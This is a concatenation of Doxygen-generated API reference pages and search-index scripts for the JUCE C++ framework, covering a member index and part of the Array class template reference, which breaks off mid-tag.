<li>RightEdgeResizeCursor : <a class="el" href="classMouseCursor.html#a5de22a8c3eb06827ac11352e76eb9a97a9c5b17c307e6d6d996f09621940cabd5">MouseCursor</a> </li> <li>rightKey : <a class="el" href="classKeyPress.html#aff89b4c5876819968ff83a6c6ee15416">KeyPress</a> </li> <li>rightToLeft : <a class="el" href="classAttributedString.html#a254fea6774b4e74f786cc5ad3abac400a455f62330ea6e3aca5353d09216fff72">AttributedString</a> </li> <li>roomSize : <a class="el" href="structReverb_1_1Parameters.html#a31a5e2e56f91cb29e902e045960218a8">Reverb::Parameters</a> </li> <li>rosybrown : <a class="el" href="classColours.html#ac80422785f2552e8738a6b450f335dfa">Colours</a> </li> <li>Rotary : <a class="el" href="classSlider.html#af1caee82552143dd9ff0fc9f0cdc0888a2043125f6f74c8ceae38baf3fb514f18">Slider</a> </li> <li>RotaryHorizontalDrag : <a class="el" href="classSlider.html#af1caee82552143dd9ff0fc9f0cdc0888a8c359e2cb456e39665bec067273df5fe">Slider</a> </li> <li>RotaryHorizontalVerticalDrag : <a class="el" href="classSlider.html#af1caee82552143dd9ff0fc9f0cdc0888a6d72c2ed67c43d22785fe271d3684075">Slider</a> </li> <li>rotarySliderFillColourId : <a class="el" href="classSlider.html#a1012002c53381ccc7c1fe7e604a75f44ad6ece790078ea74733dfa2a0d99905a8">Slider</a> </li> <li>rotarySliderOutlineColourId : <a class="el" href="classSlider.html#a1012002c53381ccc7c1fe7e604a75f44abc955b1201e3f12967cb3ff472ba86d8">Slider</a> </li> <li>RotaryVerticalDrag : <a class="el" href="classSlider.html#af1caee82552143dd9ff0fc9f0cdc0888a46ac50fdae2ac4df9a2f3ad630589224">Slider</a> </li> <li>rotated() : <a class="el" href="classAffineTransform.html#a46df67778a846c4ca39e43bd474e68a0">AffineTransform</a> , <a class="el" href="classMatrix3D.html#a6418dcab1627ad307aa5a1f71f77c071">Matrix3D&lt; Type &gt;</a> , <a class="el" href="classAffineTransform.html#a0dcf19186a3e5964e1bbf39843f644dd">AffineTransform</a> </li> <li>rotatedAboutOrigin() : <a class="el" href="classPoint.html#a95b4c38a22f712224a6f23cd7d556580">Point&lt; ValueType &gt;</a> </li> <li>rotatedAntiClockwise : <a class="el" href="classDesktop.html#a5e06947d2d1295bdb6f5c4fab7beb98aab48176789b5764aae6aae6a393916712">Desktop</a> </li> <li>rotatedClockwise : <a class="el" href="classDesktop.html#a5e06947d2d1295bdb6f5c4fab7beb98aae1e0629de1668ef16f700b7278fd0f04">Desktop</a> </li> <li>rotation() : <a class="el" href="classAffineTransform.html#aa8cbff1ba0c430acf5294cab160585a2">AffineTransform</a> </li> <li>rounded : <a class="el" href="classPathStrokeType.html#a9050e37133047ab699b44b704e4f96cfa6b01d7b3e9809f0b62dcb151d552a96f">PathStrokeType</a> </li> <li>roundedMode : <a class="el" href="classDrawablePath_1_1ValueTreeWrapper_1_1Element.html#ac0a638e6c79fa05a4ffd78efc2061d78">DrawablePath::ValueTreeWrapper::Element</a> </li> <li>roundToInt() : <a class="el" href="classPoint.html#af39678668338302ac5972a1093902657">Point&lt; ValueType &gt;</a> </li> <li>royalblue : <a class="el" href="classColours.html#a2f85b97be33e07c1ca9a0187c4883df3">Colours</a> </li> <li>RSAKey() : <a class="el" href="classRSAKey.html#a8658a7cfe77c3565033efbd6706ee6ae">RSAKey</a> </li> <li>Run() : <a class="el" href="classTextLayout_1_1Run.html#a80912a38013f0ba4b116a8b8be55455c">TextLayout::Run</a> </li> <li>run() : <a class="el" href="classThread.html#aae90dfabab3e1776cf01a26e7ee3a620">Thread</a> </li> <li>Run() : <a class="el" href="classTextLayout_1_1Run.html#ab53068ea8b382a413c65c3bcc8be6f2c">TextLayout::Run</a> </li> <li>runAllTests() : <a class="el" href="classUnitTestRunner.html#a1ba728a212df4926b0784fb1dda6659e">UnitTestRunner</a> </li> <li>runDispatchLoop() : <a class="el" href="classMessageManager.html#a3084a3a75717db0f7f05604f2956ff65">MessageManager</a> </li> <li>runDispatchLoopUntil() : <a class="el" href="classMessageManager.html#a0ddde5289b71c37a3a4a4bb9d673a0de">MessageManager</a> </li> <li>runJob() : <a class="el" href="classThreadPoolJob.html#aec49c01680e563257c79088dc87bc0d9">ThreadPoolJob</a> </li> <li>runModal() : <a class="el" href="structDialogWindow_1_1LaunchOptions.html#a22a6deb2f2f4b87a0190fdc4a0025d82">DialogWindow::LaunchOptions</a> </li> <li>runs : <a class="el" href="classTextLayout_1_1Line.html#a77c79b53611e1897fbc3d0ed40d7e0e3">TextLayout::Line</a> </li> <li>runTest() : <a class="el" href="classUnitTest.html#a1a95d7f09eb80442a8099663dfb92628">UnitTest</a> </li> <li>runTests() : <a class="el" href="classUnitTestRunner.html#a0b06260a25f58c1e965dfc1db921f033">UnitTestRunner</a> </li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['y',['y',['../structRelativeCoordinate_1_1StandardStrings.html#a996870bf66337348b8da0f06c647a65bafdca86daac70d04b33cae212284fc83b',1,'RelativeCoordinate::StandardStrings']]], ['ybottom',['yBottom',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427eda467435011959541ca61cc362640db547',1,'RectanglePlacement']]], ['ymid',['yMid',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427eda8bfb9c8cceb359b4f00a9839168a7769',1,'RectanglePlacement']]], ['ytop',['yTop',['../classRectanglePlacement.html#afd5464553fd6bb41d697f3fc1d7427eda1b650115227b059f9eb2c07ecdfcb3ad',1,'RectanglePlacement']]] ]; <file_sep>var searchData= [ ['uint16',['uint16',['../juce__MathsFunctions_8h.html#a05f6b0ae8f6a6e135b0e290c25fe0e4e',1,'juce_MathsFunctions.h']]], ['uint32',['uint32',['../juce__MathsFunctions_8h.html#a1134b580f8da4de94ca6b1de4d37975e',1,'juce_MathsFunctions.h']]], ['uint64',['uint64',['../juce__MathsFunctions_8h.html#a29940ae63ec06c9998bba873e25407ad',1,'juce_MathsFunctions.h']]], ['uint8',['uint8',['../juce__MathsFunctions_8h.html#adde6aaee8457bee49c2a92621fe22b79',1,'juce_MathsFunctions.h']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt; Class Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-types">Public Types</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classArray-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt; Class Template Reference</div> </div> </div><!--header--> <div class="contents"> <p>Holds a resizable array of primitive or copy-by-value objects. <a href="classArray.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-types"></a> Public Types</h2></td></tr> <tr class="memitem:a191f66a972ab264e2f8361727fb59ae7"><td class="memItemLeft" align="right" valign="top">typedef <br class="typebreak"/> TypeOfCriticalSectionToUse::ScopedLockType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a191f66a972ab264e2f8361727fb59ae7">ScopedLockType</a></td></tr> <tr class="memdesc:a191f66a972ab264e2f8361727fb59ae7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the type of scoped lock to use for locking this array. <a href="#a191f66a972ab264e2f8361727fb59ae7"></a><br/></td></tr> <tr class="separator:a191f66a972ab264e2f8361727fb59ae7"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a527fe1f41cd10ccc5d8b7471d7dbef52"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a527fe1f41cd10ccc5d8b7471d7dbef52">Array</a> () noexcept</td></tr> <tr class="memdesc:a527fe1f41cd10ccc5d8b7471d7dbef52"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an empty array. <a href="#a527fe1f41cd10ccc5d8b7471d7dbef52"></a><br/></td></tr> <tr class="separator:a527fe1f41cd10ccc5d8b7471d7dbef52"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a738abff2826095c6f95ffa9e1e2a04bc"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a738abff2826095c6f95ffa9e1e2a04bc">Array</a> (const <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt; &amp;other)</td></tr> <tr class="memdesc:a738abff2826095c6f95ffa9e1e2a04bc"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a copy of another array. <a href="#a738abff2826095c6f95ffa9e1e2a04bc"></a><br/></td></tr> <tr class="separator:a738abff2826095c6f95ffa9e1e2a04bc"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6a1ecdfef773aa85351eb93bda32951b"><td class="memTemplParams" colspan="2">template&lt;typename TypeToCreateFrom &gt; </td></tr> <tr class="memitem:a6a1ecdfef773aa85351eb93bda32951b"><td class="memTemplItemLeft" align="right" valign="top">&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a6a1ecdfef773aa85351eb93bda32951b">Array</a> (const TypeToCreateFrom *values)</td></tr> <tr class="memdesc:a6a1ecdfef773aa85351eb93bda32951b"><td class="mdescLeft">&#160;</td><td class="mdescRight">Initalises from a null-terminated C array of values. <a href="#a6a1ecdfef773aa85351eb93bda32951b"></a><br/></td></tr> <tr class="separator:a6a1ecdfef773aa85351eb93bda32951b"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aaa426011ebe1d6a9d32302f92ead8b98"><td class="memTemplParams" colspan="2">template&lt;typename TypeToCreateFrom &gt; </td></tr> <tr class="memitem:aaa426011ebe1d6a9d32302f92ead8b98"><td class="memTemplItemLeft" align="right" valign="top">&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#aaa426011ebe1d6a9d32302f92ead8b98">Array</a> (const TypeToCreateFrom *values, int numValues)</td></tr> <tr class="memdesc:aaa426011ebe1d6a9d32302f92ead8b98"><td class="mdescLeft">&#160;</td><td class="mdescRight">Initalises from a C array of values. <a href="#aaa426011ebe1d6a9d32302f92ead8b98"></a><br/></td></tr> <tr class="separator:aaa426011ebe1d6a9d32302f92ead8b98"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6149be5bb4ad25d738a9a6c1ef78253d"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a6149be5bb4ad25d738a9a6c1ef78253d">~Array</a> ()</td></tr> <tr class="memdesc:a6149be5bb4ad25d738a9a6c1ef78253d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a6149be5bb4ad25d738a9a6c1ef78253d"></a><br/></td></tr> <tr class="separator:a6149be5bb4ad25d738a9a6c1ef78253d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae6f46b7a7bee66e0ab05dd83dca4e79d"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classArray.html">Array</a> &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ae6f46b7a7bee66e0ab05dd83dca4e79d">operator=</a> (const <a class="el" href="classArray.html">Array</a> &amp;other)</td></tr> <tr class="memdesc:ae6f46b7a7bee66e0ab05dd83dca4e79d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Copies another array. <a href="#ae6f46b7a7bee66e0ab05dd83dca4e79d"></a><br/></td></tr> <tr class="separator:ae6f46b7a7bee66e0ab05dd83dca4e79d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abe323c4e118f22cd1d09c2557a74c3d5"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:abe323c4e118f22cd1d09c2557a74c3d5"><td class="memTemplItemLeft" align="right" valign="top">bool&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#abe323c4e118f22cd1d09c2557a74c3d5">operator==</a> (const OtherArrayType &amp;other) const </td></tr> <tr class="memdesc:abe323c4e118f22cd1d09c2557a74c3d5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Compares this array to another one. <a href="#abe323c4e118f22cd1d09c2557a74c3d5"></a><br/></td></tr> <tr class="separator:abe323c4e118f22cd1d09c2557a74c3d5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a63cbf228f47c23e0f52d5f73b9fa8c0e"><td class="memTemplParams" colspan="2">template&lt;class OtherArrayType &gt; </td></tr> <tr class="memitem:a63cbf228f47c23e0f52d5f73b9fa8c0e"><td class="memTemplItemLeft" align="right" valign="top">bool&#160;</td><td class="memTemplItemRight" valign="bottom"><a class="el" href="classArray.html#a63cbf228f47c23e0f52d5f73b9fa8c0e">operator!=</a> (const OtherArrayType &amp;other) const </td></tr> <tr class="memdesc:a63cbf228f47c23e0f52d5f73b9fa8c0e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Compares this array to another one. <a href="#a63cbf228f47c23e0f52d5f73b9fa8c0e"></a><br/></td></tr> <tr class="separator:a63cbf228f47c23e0f52d5f73b9fa8c0e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a86dc5fe378bb99b85beb8ab86c279654"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a86dc5fe378bb99b85beb8ab86c279654">clear</a> ()</td></tr> <tr class="memdesc:a86dc5fe378bb99b85beb8ab86c279654"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all elements from the array. <a href="#a86dc5fe378bb99b85beb8ab86c279654"></a><br/></td></tr> <tr class="separator:a86dc5fe378bb99b85beb8ab86c279654"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a96bcb7013ec2d56da8b918da7fc0809c"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a96bcb7013ec2d56da8b918da7fc0809c">clearQuick</a> ()</td></tr> <tr class="memdesc:a96bcb7013ec2d56da8b918da7fc0809c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Removes all elements from the array without freeing the array's allocated storage. <a href="#a96bcb7013ec2d56da8b918da7fc0809c"></a><br/></td></tr> <tr class="separator:a96bcb7013ec2d56da8b918da7fc0809c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae79ec3b32d0c9a80dfff8ffbc41f8523"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ae79ec3b32d0c9a80dfff8ffbc41f8523">size</a> () const noexcept</td></tr> <tr class="memdesc:ae79ec3b32d0c9a80dfff8ffbc41f8523"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current number of elements in the array. <a href="#ae79ec3b32d0c9a80dfff8ffbc41f8523"></a><br/></td></tr> <tr class="separator:ae79ec3b32d0c9a80dfff8ffbc41f8523"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9e1c27566bf40fe1afefd2762a7187e6"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a9e1c27566bf40fe1afefd2762a7187e6">empty</a> () const noexcept</td></tr> <tr class="memdesc:a9e1c27566bf40fe1afefd2762a7187e6"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the array is empty, false otherwise. <a href="#a9e1c27566bf40fe1afefd2762a7187e6"></a><br/></td></tr> <tr class="separator:a9e1c27566bf40fe1afefd2762a7187e6"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9e369f019d7ba8f7587bcab1906e4087"><td class="memItemLeft" align="right" valign="top">ElementType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a9e369f019d7ba8f7587bcab1906e4087">operator[]</a> (const int index) const </td></tr> <tr class="memdesc:a9e369f019d7ba8f7587bcab1906e4087"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns one of the elements in the array. <a href="#a9e369f019d7ba8f7587bcab1906e4087"></a><br/></td></tr> <tr class="separator:a9e369f019d7ba8f7587bcab1906e4087"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ada77bc1217cc15d8815e2685090de379"><td class="memItemLeft" align="right" valign="top">ElementType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">getUnchecked</a> (const int index) const </td></tr> <tr class="memdesc:ada77bc1217cc15d8815e2685090de379"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns one of the elements in the array, without checking the index passed in. <a href="#ada77bc1217cc15d8815e2685090de379"></a><br/></td></tr> <tr class="separator:ada77bc1217cc15d8815e2685090de379"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac1cb5babc0950eb9897812b221695b3c"><td class="memItemLeft" align="right" valign="top">ElementType &amp;&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ac1cb5babc0950eb9897812b221695b3c">getReference</a> (const int index) const noexcept</td></tr> <tr class="memdesc:ac1cb5babc0950eb9897812b221695b3c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a direct reference to one of the elements in the array, without checking the index passed in. <a href="#ac1cb5babc0950eb9897812b221695b3c"></a><br/></td></tr> <tr class="separator:ac1cb5babc0950eb9897812b221695b3c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae1884e2e59a1f2a7a2959a1f090da894"><td class="memItemLeft" align="right" valign="top">ElementType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894">getFirst</a> () const </td></tr> <tr class="memdesc:ae1884e2e59a1f2a7a2959a1f090da894"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the first element in the array, or a default value if the array is empty. <a href="#ae1884e2e59a1f2a7a2959a1f090da894"></a><br/></td></tr> <tr class="separator:ae1884e2e59a1f2a7a2959a1f090da894"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abcdc6472b527f4b470ae705ed7fad38f"><td class="memItemLeft" align="right" valign="top">ElementType&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f">getLast</a> () const </td></tr> <tr class="memdesc:abcdc6472b527f4b470ae705ed7fad38f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the last element in the array, or a default value if the array is empty. <a href="#abcdc6472b527f4b470ae705ed7fad38f"></a><br/></td></tr> <tr class="separator:abcdc6472b527f4b470ae705ed7fad38f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4c5c3e5ab20d17d6d5757e53773ba2ff"><td class="memItemLeft" align="right" valign="top">ElementType *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a4c5c3e5ab20d17d6d5757e53773ba2ff">getRawDataPointer</a> () noexcept</td></tr> <tr class="memdesc:a4c5c3e5ab20d17d6d5757e53773ba2ff"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the actual array data. <a href="#a4c5c3e5ab20d17d6d5757e53773ba2ff"></a><br/></td></tr> <tr class="separator:a4c5c3e5ab20d17d6d5757e53773ba2ff"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5aeb6bdbca7a057c6fe483f2a9c89ef5"><td class="memItemLeft" align="right" valign="top">ElementType *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a5aeb6bdbca7a057c6fe483f2a9c89ef5">begin</a> () const noexcept</td></tr> <tr class="memdesc:a5aeb6bdbca7a057c6fe483f2a9c89ef5"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the first element in the array. <a href="#a5aeb6bdbca7a057c6fe483f2a9c89ef5"></a><br/></td></tr> <tr class="separator:a5aeb6bdbca7a057c6fe483f2a9c89ef5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4ec39fc8ed45a70eb82fca49c35c2088"><td class="memItemLeft" align="right" valign="top">ElementType *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a4ec39fc8ed45a70eb82fca49c35c2088">end</a> () const noexcept</td></tr> <tr class="memdesc:a4ec39fc8ed45a70eb82fca49c35c2088"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns a pointer to the element which follows the last element in the array. <a href="#a4ec39fc8ed45a70eb82fca49c35c2088"></a><br/></td></tr> <tr class="separator:a4ec39fc8ed45a70eb82fca49c35c2088"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af3e6b6c7c55897224b923bb4409b958a"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#af3e6b6c7c55897224b923bb4409b958a">indexOf</a> (ParameterType elementToLookFor) const </td></tr> <tr class="memdesc:af3e6b6c7c55897224b923bb4409b958a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Finds the index of the first element which matches the value passed in. <a href="#af3e6b6c7c55897224b923bb4409b958a"></a><br/></td></tr> <tr class="separator:af3e6b6c7c55897224b923bb4409b958a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a57f5f5977d81f1d54315732bc30b33ab"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a57f5f5977d81f1d54315732bc30b33ab">contains</a> (ParameterType elementToLookFor) const </td></tr> <tr class="memdesc:a57f5f5977d81f1d54315732bc30b33ab"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the array contains at least one occurrence of an object. <a href="#a57f5f5977d81f1d54315732bc30b33ab"></a><br/></td></tr> <tr class="separator:a57f5f5977d81f1d54315732bc30b33ab"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a52da22e285e44171b6d6fa785a7d536a"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a">add</a> (const ElementType &amp;newElement)</td></tr> <tr class="memdesc:a52da22e285e44171b6d6fa785a7d536a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Appends a new element at the end of the array. <a href="#a52da22e285e44171b6d6fa785a7d536a"></a><br/></td></tr> <tr class="separator:a52da22e285e44171b6d6fa785a7d536a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aef96810c21931d9676c08cad82de45c7"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7">insert</a> (int indexToInsertAt, ParameterType newElement)</td></tr> <tr class="memdesc:aef96810c21931d9676c08cad82de45c7"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts a new element into the array at a given position. <a href="#aef96810c21931d9676c08cad82de45c7"></a><br/></td></tr> <tr class="separator:aef96810c21931d9676c08cad82de45c7"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0cadf83bcfba696c6a4adc15f4e0a78f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a0cadf83bcfba696c6a4adc15f4e0a78f">insertMultiple</a> (int indexToInsertAt, ParameterType newElement, int numberOfTimesToInsertIt)</td></tr> <tr class="memdesc:a0cadf83bcfba696c6a4adc15f4e0a78f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts multiple copies of an element into the array at a given position. <a href="#a0cadf83bcfba696c6a4adc15f4e0a78f"></a><br/></td></tr> <tr class="separator:a0cadf83bcfba696c6a4adc15f4e0a78f"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:acb0477221ce1538611a9fcd84028b387"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#acb0477221ce1538611a9fcd84028b387">insertArray</a> (int indexToInsertAt, const ElementType *newElements, int numberOfElements)</td></tr> <tr class="memdesc:acb0477221ce1538611a9fcd84028b387"><td class="mdescLeft">&#160;</td><td class="mdescRight">Inserts an array of values into this array at a given position. <a href="#acb0477221ce1538611a9fcd84028b387"></a><br/></td></tr> <tr class="separator:acb0477221ce1538611a9fcd84028b387"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a408fa7ce72916f0fc65df67fbc9f8813"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classArray.html#a408fa7ce72916f0fc65df67fbc9f8813">addIfNotAlreadyThere</a> (ParameterType newElement)</td></tr> <tr class="memdesc:a408fa7ce72916f0fc65df67fbc9f8813"><td class="mdescLeft">&#160;</td><td class="mdescRight">Appends a new element at the end of the array as long as the array doesn't already contain it. <a href="#a408fa7ce72916f0fc65df67fbc9f8813"></a><br/></td></tr> <tr class="separator:a408fa7ce72916f0fc65df67fbc9f8813"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr 